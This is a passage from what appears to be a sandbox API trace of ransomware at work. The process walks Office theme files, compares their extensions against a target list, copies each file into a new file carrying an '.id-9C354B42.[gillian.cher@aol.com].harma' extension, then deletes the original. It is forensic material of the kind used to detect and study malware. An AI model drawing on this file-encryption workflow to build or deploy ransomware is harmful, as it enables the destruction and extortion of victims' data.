lpString2="ftx") returned -1 [0146.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.291] lstrlenW (lpString=".dbf") returned 4 [0146.291] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.291] lstrlenW (lpString=".1cd") returned 4 [0146.291] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.291] lstrlenW (lpString=".jpg") returned 4 [0146.291] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.291] lstrlenW (lpString=".doc") returned 4 [0146.291] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString=".docx") returned 5 [0146.291] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.291] lstrlenW (lpString=".pdf") returned 4 [0146.291] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString=".xls") returned 4 [0146.291] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString=".xlsx") returned 5 [0146.291] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.291] lstrlenW (lpString=".ppt") returned 4 [0146.291] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.291] lstrlenW (lpString=".zip") returned 4 [0146.291] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString=".rar") returned 4 [0146.291] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.292] lstrlenW (lpString=".bz2") returned 4 [0146.292] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.292] lstrlenW (lpString=".7z") returned 3 [0146.292] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.292] lstrlenW (lpString=".dbf") returned 4 [0146.292] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.292] lstrlenW (lpString=".1cd") returned 4 [0146.292] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.292] lstrlenW (lpString=".jpg") returned 4 [0146.292] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.292] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0146.292] lstrlenW (lpString="Oriel.eftx") returned 10 [0146.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0146.293] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=43193) returned 1 [0146.293] CloseHandle (hObject=0x364) returned 1 [0146.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0146.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0146.294] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.294] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0146.295] GetLastError () returned 0x0 [0146.295] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0146.297] WriteFile (in: hFile=0x33c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xa8c0, lpOverlapped=0x0) returned 1 [0146.299] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.299] WriteFile (in: hFile=0x33c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0146.299] SetEndOfFile (hFile=0x33c) returned 1 [0146.299] CloseHandle (hObject=0x33c) returned 1 [0146.299] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.299] SetEndOfFile (hFile=0x364) returned 1 [0146.302] CloseHandle (hObject=0x364) returned 1 [0146.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1 [0146.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.303] lstrlenW (lpString=".doc") returned 4 [0146.303] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.303] lstrlenW (lpString=".docx") returned 5 [0146.303] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.303] lstrlenW (lpString=".pdf") returned 4 [0146.303] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.303] lstrlenW (lpString=".xls") returned 4 [0146.303] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.303] lstrlenW (lpString=".xlsx") returned 5 [0146.303] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.303] lstrlenW (lpString=".ppt") returned 4 [0146.303] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.303] lstrlenW (lpString=".zip") returned 4 [0146.303] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.303] lstrlenW (lpString=".rar") returned 4 [0146.303] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.303] lstrlenW (lpString=".bz2") returned 4 [0146.303] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.303] lstrlenW (lpString=".7z") returned 3 [0146.303] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.303] lstrlenW (lpString=".dbf") returned 4 [0146.303] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.303] lstrlenW (lpString=".1cd") returned 4 [0146.303] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.304] lstrlenW (lpString=".jpg") returned 4 [0146.304] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.304] lstrlenW (lpString=".doc") returned 4 [0146.304] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString=".docx") returned 5 [0146.304] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.304] lstrlenW (lpString=".pdf") returned 4 [0146.304] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString=".xls") returned 4 [0146.304] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString=".xlsx") returned 5 [0146.304] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.304] lstrlenW (lpString=".ppt") returned 4 [0146.304] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.304] lstrlenW (lpString=".zip") returned 4 [0146.304] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString=".rar") returned 4 [0146.304] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString=".bz2") returned 4 [0146.304] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString=".7z") returned 3 [0146.304] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.304] lstrlenW (lpString=".dbf") returned 4 [0146.304] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.304] lstrlenW (lpString=".1cd") returned 4 [0146.305] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0146.305] lstrlenW (lpString=".jpg") returned 4 [0146.305] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.305] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0146.305] lstrlenW (lpString="Origin.eftx") returned 11 [0146.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0146.306] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=40941) returned 1 [0146.306] CloseHandle (hObject=0x364) returned 1 [0146.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0146.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0146.306] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.306] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0146.307] GetLastError () returned 0x0 [0146.307] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x9fed, lpOverlapped=0x0) returned 1 [0146.309] WriteFile (in: hFile=0x33c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x9ff0, lpOverlapped=0x0) returned 1 [0146.311] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.311] WriteFile (in: hFile=0x33c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0146.311] SetEndOfFile (hFile=0x33c) returned 1 [0146.311] CloseHandle (hObject=0x33c) returned 1 [0146.311] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.311] SetEndOfFile (hFile=0x364) returned 1 [0146.316] CloseHandle (hObject=0x364) returned 1 [0146.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1 [0146.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.317] lstrlenW (lpString=".doc") returned 4 [0146.317] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.317] lstrlenW (lpString=".docx") returned 5 [0146.317] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.317] lstrlenW (lpString=".pdf") returned 4 [0146.317] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.317] lstrlenW (lpString=".xls") returned 4 [0146.317] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.317] lstrlenW (lpString=".xlsx") returned 5 [0146.317] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.317] lstrlenW (lpString=".ppt") returned 4 [0146.317] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.317] lstrlenW (lpString=".zip") returned 4 [0146.317] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.317] lstrlenW (lpString=".rar") returned 4 [0146.318] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString=".bz2") returned 4 [0146.318] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString=".7z") returned 3 [0146.318] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.318] lstrlenW (lpString=".dbf") returned 4 [0146.318] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.318] lstrlenW (lpString=".1cd") returned 4 [0146.318] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.318] lstrlenW (lpString=".jpg") returned 4 [0146.318] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.318] lstrlenW (lpString=".doc") returned 4 [0146.318] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString=".docx") returned 5 [0146.318] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.318] lstrlenW (lpString=".pdf") returned 4 [0146.318] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString=".xls") returned 4 [0146.318] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString=".xlsx") returned 5 [0146.318] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.318] lstrlenW (lpString=".ppt") returned 4 [0146.318] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.318] lstrlenW (lpString=".zip") returned 4 [0146.319] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.319] lstrlenW (lpString=".rar") returned 4 [0146.319] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.319] lstrlenW (lpString=".bz2") returned 4 [0146.319] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.319] lstrlenW (lpString=".7z") returned 3 [0146.319] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.319] lstrlenW (lpString=".dbf") returned 4 [0146.319] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.319] lstrlenW (lpString=".1cd") returned 4 [0146.319] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0146.319] lstrlenW (lpString=".jpg") returned 4 [0146.319] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.319] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0146.319] lstrlenW (lpString="Paper.eftx") returned 10 [0146.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0146.596] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=228746) returned 1 [0146.596] CloseHandle (hObject=0x358) returned 1 [0146.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0146.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0147.072] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.072] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.231] GetLastError () returned 0x0 [0147.231] ReadFile (in: hFile=0x354, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0147.297] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x37d90, lpOverlapped=0x0) returned 1 [0147.302] ReadFile (in: hFile=0x354, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.302] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0147.302] SetEndOfFile (hFile=0x338) returned 1 [0147.302] CloseHandle (hObject=0x338) returned 1 [0147.302] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.302] SetEndOfFile (hFile=0x354) returned 1 [0147.308] CloseHandle (hObject=0x354) returned 1 [0147.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1 [0147.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.554] lstrlenW (lpString=".doc") returned 4 [0147.554] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.554] lstrlenW (lpString=".docx") returned 5 [0147.554] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.554] lstrlenW (lpString=".pdf") returned 4 [0147.554] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.554] lstrlenW (lpString=".xls") returned 4 [0147.554] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.554] lstrlenW (lpString=".xlsx") returned 5 [0147.554] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.554] lstrlenW (lpString=".ppt") returned 4 [0147.554] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.554] lstrlenW (lpString=".zip") returned 4 [0147.554] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.554] lstrlenW (lpString=".rar") returned 4 [0147.554] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.554] lstrlenW (lpString=".bz2") returned 4 [0147.554] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.554] lstrlenW (lpString=".7z") returned 3 [0147.554] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.554] lstrlenW (lpString=".dbf") returned 4 [0147.554] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.555] lstrlenW (lpString=".1cd") returned 4 [0147.555] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.555] lstrlenW (lpString=".jpg") returned 4 [0147.555] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.555] lstrlenW (lpString=".doc") returned 4 [0147.555] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned 